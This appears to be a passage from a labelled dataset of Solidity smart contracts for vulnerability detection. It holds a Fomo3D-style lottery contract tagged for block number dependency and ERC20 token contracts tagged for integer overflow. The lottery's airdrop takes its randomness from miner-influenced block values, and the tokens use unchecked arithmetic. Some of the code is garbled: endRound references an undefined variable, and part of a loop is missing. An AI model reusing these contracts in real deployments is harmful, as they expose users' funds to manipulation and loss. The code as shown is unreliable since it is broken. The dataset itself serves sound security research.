determineAffID(_pID,_affCode); _team = verifyTeam(_team); buyCore(_pID, _affCode, _team, _eventData_); } function buyXaddr(address _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID = determineAffID(_pID,pIDxAddr_[_affCode]); _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function buyXname(bytes32 _affCode, uint256 _team) isActivated() isHuman() isWithinLimits(msg.value) public payable { F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_); uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID = determineAffID(_pID,pIDxName_[_affCode]); _team = verifyTeam(_team); buyCore(_pID, _affID, _team, _eventData_); } function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; _affCode = determineAffID(_pID,_affCode); _team = verifyTeam(_team); reLoadCore(_pID, _affCode, _team, _eth, _eventData_); } function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID = determineAffID(_pID,pIDxAddr_[_affCode]); _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth) isActivated() isHuman() isWithinLimits(_eth) public { F3Ddatasets.EventReturns memory _eventData_; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _affID = determineAffID(_pID,pIDxName_[_affCode]); _team = verifyTeam(_team); reLoadCore(_pID, _affID, _team, _eth, _eventData_); } function withdraw() isActivated() isHuman() public { uint256 _rID = rID_; uint256 _now = now; uint256 _pID = pIDxAddr_[msg.sender]; uint256 _eth; if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { F3Ddatasets.EventReturns memory _eventData_; round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onWithdrawAndDistribute ( msg.sender, plyr_[_pID].name, _eth, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } else { _eth = withdrawEarnings(_pID); if (_eth > 0) plyr_[_pID].addr.transfer(_eth); emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now); } } function registerNameXID(string _nameString, uint256 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXaddr(string _nameString, address _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function registerNameXname(string _nameString, bytes32 _affCode, bool _all) isHuman() public payable { bytes32 _name = _nameString.nameFilter(); address _addr = msg.sender; uint256 _paid = msg.value; (bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all); uint256 _pID = pIDxAddr_[_addr]; emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now); } function getBuyPrice() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) ); else return ( 75000000000000 ); } function getTimeLeft() public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now < round_[_rID].end) if (_now > round_[_rID].strt + rndGap_) return( (round_[_rID].end).sub(_now) ); else return( (round_[_rID].strt + rndGap_).sub(_now) ); else return(0); } function getPlayerVaults(uint256 _pID) public view returns(uint256 ,uint256, uint256) { uint256 _rID = rID_; if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0) { if (round_[_rID].plyr == _pID) { return ( (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ), (plyr_[_pID].gen), plyr_[_pID].aff ); } else { return ( plyr_[_pID].win, (plyr_[_pID].gen), plyr_[_pID].aff ); } } else { return ( plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff ); } } function getPlayerVaultsHelper(uint256 _pID, uint256 _rID) private view returns(uint256) { return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(0)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) ); } function getCurrentRoundInfo() public view returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256) { uint256 _rID = rID_; return ( round_[_rID].ico, _rID, round_[_rID].keys, round_[_rID].end, round_[_rID].strt, round_[_rID].pot, (round_[_rID].team + (round_[_rID].plyr * 10)), plyr_[round_[_rID].plyr].addr, plyr_[round_[_rID].plyr].name, rndTmEth_[_rID][0], rndTmEth_[_rID][1], rndTmEth_[_rID][2], rndTmEth_[_rID][3], airDropTracker_ + (airDropPot_ * 1000) ); } function getCurrentRoundInfo2() public view returns(bytes32, uint256, bytes32, uint256, bytes32, bytes32, bytes32) { uint256 _rID = rID_; return ( plyr_[round_[_rID].maxEthPID].name, plyrRnds_[round_[_rID].maxEthPID][_rID].eth, plyr_[round_[_rID].maxAffPID].name, plyrRnds_[round_[_rID].maxAffPID][_rID].affNum, plyr_[round_[_rID].plyrs[0]].name, plyr_[round_[_rID].plyrs[1]].name, plyr_[round_[_rID].plyrs[2]].name ); } function getPlayerInfoByAddress(address _addr) public view returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256, bytes32) { uint256 _rID = rID_; if (_addr == address(0)) { _addr == msg.sender; } uint256 _pID = pIDxAddr_[_addr]; return ( _pID, plyr_[_pID].name, plyrRnds_[_pID][_rID].keys, plyr_[_pID].win, (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), plyr_[_pID].aff, plyrRnds_[_pID][_rID].eth, plyr_[plyr_[_pID].laff].name ); } function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { core(_rID, _pID, msg.value, _affID, _team, _eventData_); } else { if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onBuyAndDistribute ( msg.sender, plyr_[_pID].name, msg.value, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value); } } function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_) private { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) { plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth); core(_rID, _pID, _eth, _affID, _team, _eventData_); } else if (_now > round_[_rID].end && round_[_rID].ended == false) { round_[_rID].ended = true; _eventData_ = endRound(_eventData_); _eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID; emit F3Devents.onReLoadAndDistribute ( msg.sender, plyr_[_pID].name, _eventData_.compressedData, _eventData_.compressedIDs, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount ); } } function updateLastBuyKeysPIDs(uint256 _rID, uint256 _lastPID) private { for(uint256 _i=potToWinners_.length-1; _i>=1; _i--){ round_[_rID].plyrs[_i] = round_[_rID].plyrs[_i - 1]; } round_[_rID].plyrs[0] = _lastPID; } function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private { if (plyrRnds_[_pID][_rID].keys == 0) _eventData_ = managePlayer(_pID, _eventData_); if (_eth > 1000000000) { uint256 _keys = (round_[_rID].eth).keysRec(_eth); if (_keys >= 1000000000000000000) { updateTimer(_keys, _rID); if(_eth > 10000000000000000){ if (round_[_rID].plyr != _pID){ round_[_rID].plyr = _pID; } updateLastBuyKeysPIDs(_rID, _pID); } if (round_[_rID].team != _team){ round_[_rID].team = _team; } _eventData_.compressedData = _eventData_.compressedData + 100; } if (_eth >= 100000000000000000) { airDropTracker_++; if (airdrop() == true) { uint256 _prize; if (_eth >= 10000000000000000000) { _prize = ((airDropPot_).mul(75)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) { _prize = ((airDropPot_).mul(50)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 200000000000000000000000000000000; } else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) { _prize = ((airDropPot_).mul(25)) / 100; plyr_[_pID].win = (plyr_[_pID].win).add(_prize); airDropPot_ = (airDropPot_).sub(_prize); _eventData_.compressedData += 300000000000000000000000000000000; } _eventData_.compressedData += 10000000000000000000000000000000; _eventData_.compressedData += _prize * 1000000000000000000000000000000000; airDropTracker_ = 0; } } _eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000); plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys); plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth); round_[_rID].keys = _keys.add(round_[_rID].keys); round_[_rID].eth = _eth.add(round_[_rID].eth); rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]); if(0 == round_[_rID].maxEthPID || plyrRnds_[round_[_rID].maxEthPID][_rID].eth < plyrRnds_[_pID][_rID].eth){ round_[_rID].maxEthPID = _pID; } _eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_); _eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_); endTx(_pID, _team, _eth, _keys, _eventData_); } } function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast) private view returns(uint256) { return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) ); } function calcKeysReceived(uint256 _rID, uint256 _eth) public view returns(uint256) { uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].eth).keysRec(_eth) ); else return ( (_eth).keys() ); } function iWantXKeys(uint256 _keys) public view returns(uint256) { uint256 _rID = rID_; uint256 _now = now; if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0))) return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) ); else return ( (_keys).eth() ); } function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if (pIDxAddr_[_addr] != _pID){ pIDxAddr_[_addr] = _pID; } if (pIDxName_[_name] != _pID){ pIDxName_[_name] = _pID; } if (plyr_[_pID].addr != _addr){ plyr_[_pID].addr = _addr; } if (plyr_[_pID].name != _name){ plyr_[_pID].name = _name; } if (plyr_[_pID].laff != _laff){ determineAffID(_pID, _laff); } if (plyrNames_[_pID][_name] == false){ plyrNames_[_pID][_name] = true; } } function receivePlayerNameList(uint256 _pID, bytes32 _name) external { require (msg.sender == address(PlayerBook), ""your not playerNames contract... hmmm..""); if(plyrNames_[_pID][_name] == false) plyrNames_[_pID][_name] = true; } function determinePID(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _pID = pIDxAddr_[msg.sender]; if (_pID == 0) { _pID = PlayerBook.getPlayerID(msg.sender); bytes32 _name = PlayerBook.getPlayerName(_pID); uint256 _laff = PlayerBook.getPlayerLAff(_pID); pIDxAddr_[msg.sender] = _pID; plyr_[_pID].addr = msg.sender; if (_name != """") { pIDxName_[_name] = _pID; plyr_[_pID].name = _name; plyrNames_[_pID][_name] = true; } if (_laff != 0 && _laff != _pID) plyr_[_pID].laff = _laff; _eventData_.compressedData = _eventData_.compressedData + 1; } return (_eventData_); } function verifyTeam(uint256 _team) private pure returns (uint256) { if (_team < 0 || _team > 3) return(2); else return(_team); } function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { if (plyr_[_pID].lrnd != 0) updateGenVault(_pID, plyr_[_pID].lrnd); plyr_[_pID].lrnd = rID_; _eventData_.compressedData = _eventData_.compressedData + 10; return(_eventData_); } function endRound(F3Ddatasets.EventReturns memory _eventData_) private returns (F3Ddatasets.EventReturns) { uint256 _rID = rID_; uint256 _winTID = round_[_rID].team; uint256 _maxEthPID = round_[_rID].maxEthPID; uint256 _maxAffPID = round_[_rID].maxAffPID; if(0 == _maxAffPID){ _maxAffPID = 1; } uint256 _pot = round_[_rID].pot; uint256 _maxEth = (_pot.mul(potToMaxEth_)) / 100; uint256 _maxAff = (_pot.mul(potToMaxAff_)) / 100; uint256 _res = _pot.sub(_win).sub(_maxEth); plyr_[_maxEthPID].win = _maxEth.add(plyr_[_maxEthPID].win); plyr_[_maxAffPID].win = _maxAff.add(plyr_[_maxAffPID].win); for(uint256 _seq=0; _seq 0) { plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen); plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask); } } function getRealRndMaxTime(uint256 _rID) public returns(uint256) { uint256 _realRndMax = rndMax_; uint256 _days = (now - round_[_rID].strt) / (1 days); while(0 < _days --){ _realRndMax = _realRndMax / 2; } return (_realRndMax > 10 minutes) ? _realRndMax : 10 minutes; } function updateTimer(uint256 _keys, uint256 _rID) private { uint256 _now = now; uint256 _newTime; if (_now > round_[_rID].end && round_[_rID].plyr == 0) _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now); else _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end); uint256 _realRndMax = getRealRndMaxTime(_rID); if (_newTime < (_realRndMax).add(_now)) round_[_rID].end = _newTime; else round_[_rID].end = _realRndMax.add(_now); } function airdrop() private view returns(bool) { uint256 seed = uint256(keccak256(abi.encodePacked( (block.timestamp).add (block.difficulty).add ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add (block.gaslimit).add ((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add (block.number) ))); if((seed - ((seed / 1000) * 1000)) < airDropTracker_) return(true); else return(false); } function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _com = _eth / 20; address(god).transfer(_com); uint256 _curAffID = plyr_[_pID].laff; for(uint256 _i=0; _i< affPerLv_.length; _i++){ uint256 _aff = _eth.mul(affPerLv_[_i]) / (100); if (_curAffID == _pID || plyr_[_curAffID].name == '') { _curAffID = 1; } plyr_[_curAffID].aff = _aff.add(plyr_[_curAffID].aff); emit F3Devents.onAffiliatePayout(_curAffID, plyr_[_curAffID].addr, plyr_[_curAffID].name, _rID, _pID, _aff, now); _curAffID = plyr_[_curAffID].laff; } return(_eventData_); } function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private returns(F3Ddatasets.EventReturns) { uint256 _gen = _eth.mul(40) / 100; uint256 _air = 0; airDropPot_ = airDropPot_.add(_air); uint256 _pot = (_eth.mul(20)) / 100; uint256 _dust = updateMasks(_rID, _pID, _gen, _keys); if (_dust > 0) _gen = _gen.sub(_dust); round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot); _eventData_.genAmount = _gen.add(_eventData_.genAmount); _eventData_.potAmount = _pot; return(_eventData_); } function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys) private returns(uint256) { uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys); round_[_rID].mask = _ppt.add(round_[_rID].mask); uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000); plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask); return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000))); } function withdrawEarnings(uint256 _pID) private returns(uint256) { updateGenVault(_pID, plyr_[_pID].lrnd); uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff); if (_earnings > 0) { plyr_[_pID].win = 0; plyr_[_pID].gen = 0; plyr_[_pID].aff = 0; } return(_earnings); } function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_) private { _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000); _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000); emit F3Devents.onEndTx ( _eventData_.compressedData, _eventData_.compressedIDs, plyr_[_pID].name, msg.sender, _eth, _keys, _eventData_.winnerAddr, _eventData_.winnerName, _eventData_.amountWon, _eventData_.newPot, _eventData_.P3DAmount, _eventData_.genAmount, _eventData_.potAmount, airDropPot_ ); } bool public activated_ = false; function activate() public { require(msg.sender == god, ""only team just can activate""); require(activated_ == false, ""fomo3d already activated""); activated_ = true; rID_ = 1; round_[1].strt = now + rndExtra_ - rndGap_; round_[1].end = now + rndInit_ + rndExtra_; } } library F3Ddatasets { struct EventReturns { uint256 compressedData; uint256 compressedIDs; address winnerAddr; bytes32 winnerName; uint256 amountWon; uint256 newPot; uint256 P3DAmount; uint256 genAmount; uint256 potAmount; } struct Player { address addr; bytes32 name; uint256 win; uint256 gen; uint256 aff; uint256 lrnd; uint256 laff; } struct PlayerRounds { uint256 eth; uint256 keys; uint256 mask; uint256 ico; uint256 affNum; } struct Round { uint256 plyr; uint256 team; uint256 end; bool ended; uint256 strt; uint256 keys; uint256 eth; uint256 pot; uint256 mask; uint256 ico; uint256 icoGen; uint256 icoAvg; uint256 maxEthPID; uint256 maxAffPID; uint256[3] plyrs; } struct TeamFee { uint256 gen; } struct PotSplit { uint256 gen; } } library F3DKeysCalcLong { using SafeMath for *; function keysRec(uint256 _curEth, uint256 _newEth) internal pure returns (uint256) { return(keys((_curEth).add(_newEth)).sub(keys(_curEth))); } function ethRec(uint256 _curKeys, uint256 _sellKeys) internal pure returns (uint256) { return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys)))); } function keys(uint256 _eth) internal pure returns(uint256) { return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000); } function eth(uint256 _keys) internal pure returns(uint256) { return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq()); } } interface F3DexternalSettingsInterface { function getFastGap() external returns(uint256); function getLongGap() external returns(uint256); function getFastExtra() external returns(uint256); function getLongExtra() external returns(uint256); } interface PlayerBookInterface { function getPlayerID(address _addr) external returns (uint256); function getPlayerName(uint256 _pID) external view returns (bytes32); function getPlayerLAff(uint256 _pID) external view returns (uint256); function getPlayerAddr(uint256 _pID) external view returns (address); function getNameFee() external view returns (uint256); function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256); function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256); function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256); } library NameFilter { function nameFilter(string _input) internal pure returns(bytes32) { bytes memory _temp = bytes(_input); uint256 _length = _temp.length; require (_length <= 32 && _length > 0, ""string must be between 1 and 32 characters""); require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, ""string cannot start or end with space""); if (_temp[0] == 0x30) { require(_temp[1] != 0x78, ""string cannot start with 0x""); require(_temp[1] != 0x58, ""string cannot start with 0X""); } bool _hasNonNumber; for (uint256 i = 0; i < _length; i++) { if (_temp[i] > 0x40 && _temp[i] < 0x5b) { _temp[i] = byte(uint(_temp[i]) + 32); if (_hasNonNumber == false) _hasNonNumber = true; } else { require ( _temp[i] == 0x20 || (_temp[i] > 0x60 && _temp[i] < 0x7b) || (_temp[i] > 0x2f && _temp[i] < 0x3a), ""string contains invalid characters"" ); if (_temp[i] == 0x20) require( _temp[i+1] != 0x20, ""string cannot contain consecutive spaces""); if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39)) _hasNonNumber = true; } } require(_hasNonNumber == true, ""string cannot be only numbers""); bytes32 _ret; assembly { _ret := mload(add(_temp, 32)) } return (_ret); } } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { if (a == 0) { return 0; } c = a * b; require(c / a == b, ""SafeMath mul failed""); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, ""SafeMath sub failed""); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; require(c >= a, ""SafeMath add failed""); return c; } function sqrt(uint256 x) internal pure returns (uint256 y) { uint256 z = ((add(x,1)) / 2); y = x; while (z < y) { y = z; z = ((add((x / z),z)) / 2); } } function sq(uint256 x) internal pure returns (uint256) { return (mul(x,x)); } function pwr(uint256 x, uint256 y) internal pure returns (uint256) { if (x==0) return (0); else if (y==0) return (1); else { uint256 z = x; for (uint256 i=1; i < y; i++) z = mul(z,x); return (z); } } }",./Dataset/block number dependency (BN),0,0 830.sol,"pragma solidity ^0.4.24; contract SafeMath { function safeAdd(uint a, uint b) public pure returns (uint c) { c = a + b; require(c >= a); } function safeSub(uint a, uint b) public pure returns (uint c) { require(b <= a); c = a - b; } function safeMul(uint a, uint b) public pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function safeDiv(uint a, uint b) public pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract Bags is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function Bags() public { symbol = ""BAGS""; name = ""BAGS""; decimals = 3; _totalSupply = 374000000000000; balances[0xc5C2f1d0D344150cEEFA9A31217620632C5d38B4] = _totalSupply; Transfer(address(0), 0xc5C2f1d0D344150cEEFA9A31217620632C5d38B4, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }",./Dataset/integer overflow (OF)/,4,4 33161.sol,"pragma solidity ^0.4.4; contract Token { /// @return total amount of tokens function totalSupply() constant returns (uint256 supply) {} /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance) {} /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success) {} /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} /// @notice `msg.sender` approves `_addr` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of wei to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success) {} /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { //Default assumes totalSupply can't be over max (2^256 - 1). //If your token leaves out totalSupply and can issue more tokens as time goes on, you need to check if it doesn't wrap. //Replace the if with this one instead. //if (balances[msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { //same as above. Replace this line with the following if you want to protect against wrapping uints. //if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && balances[_to] + _value > balances[_to]) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } //name this contract whatever you'd like contract ERC20Token is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It's like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES FOR YOUR TOKEN // //make sure this function name matches the contract name above. So if you're token is called TutorialToken, make sure the //contract name above is also TutorialToken instead of ERC20Token function ERC20Token( ) { balances[msg.sender] = 6000000; // Give the creator all initial tokens (100000 for example) totalSupply = 6000000; // Update total supply (100000 for example) name = ""Metacube""; // Set the name for display purposes decimals = 0; // Amount of decimals 